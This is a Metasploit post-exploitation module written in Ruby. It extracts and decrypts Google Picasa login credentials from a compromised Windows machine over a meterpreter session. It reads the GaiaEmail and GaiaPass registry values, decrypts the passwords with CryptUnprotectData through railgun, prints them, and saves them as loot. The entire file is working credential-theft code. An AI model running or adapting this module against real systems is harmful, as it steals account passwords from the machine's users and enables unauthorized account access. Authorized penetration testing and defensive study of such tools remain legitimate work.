## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'Google Picasa Password Extractor', 'Description' => %q{This module extracts and decrypts the login passwords stored by Google Picasa.}, 'License' => MSF_LICENSE, 'Author' => [ 'SecurityXploded Team', #www.SecurityXploded.com 'Sil3ntDre4m ', ], 'Version' => '$Revision$', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end def prepare_railgun rg = session.railgun if (!rg.get_dll('crypt32')) rg.add_dll('crypt32') end if (!rg.crypt32.functions["CryptUnprotectData"]) rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ ["PBLOB","pDataIn", "in"], ["PWCHAR", "szDataDescr", "out"], ["PBLOB", "pOptionalEntropy", "in"], ["PDWORD", "pvReserved", "in"], ["PBLOB", "pPromptStruct", "in"], ["DWORD", "dwFlags", "in"], ["PBLOB", "pDataOut", "out"] ]) end end def decrypt_password(data) rg = session.railgun pid = client.sys.process.getpid process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) mem = process.memory.allocate(512) process.memory.write(mem, data) if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") len = [data.length].pack("Q") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) len, addr = ret["pDataOut"].unpack("Q2") end return "" if len == 0 decrypted_pw = process.memory.read(addr, len) return decrypted_pw end def get_registry psecrets = "" begin print_status("Looking in registry for stored login passwords by Picasa ...") username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaEmail') password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') if username != nil and password != nil passbin = [password].pack("H*") pass = decrypt_password(passbin) if pass != nil print_status("Username: #{username}") print_status("Password: #{pass}") secret = "#{username}:#{pass}" psecrets << secret end end #For early versions of Picasa3 username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaEmail') password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaPass') if username != nil and password != nil passbin = [password].pack("H*") pass = decrypt_password(passbin) if pass != nil print_status("Username: #{username}") print_status("Password: #{pass}") secret = "#{username}:#{pass}" psecrets << secret end end # store the loot if psecrets != "" path = store_loot( "picasa.decrypted", "text/plain", session, psecrets, "decrypted_picasa_data.txt", "Decrypted Picasa Passwords") print_status("Decrypted passwords saved in: #{path}") end rescue ::Exception => e print_error("An error has occured: #{e.to_s}") end end def run uid = session.sys.config.getuid #Decryption only works in context of user's account. if is_system? print_error("This module is running under #{uid}.") print_error("Automatic decryption will not be possible.") print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") else prepare_railgun get_registry() end print_status("Done") end end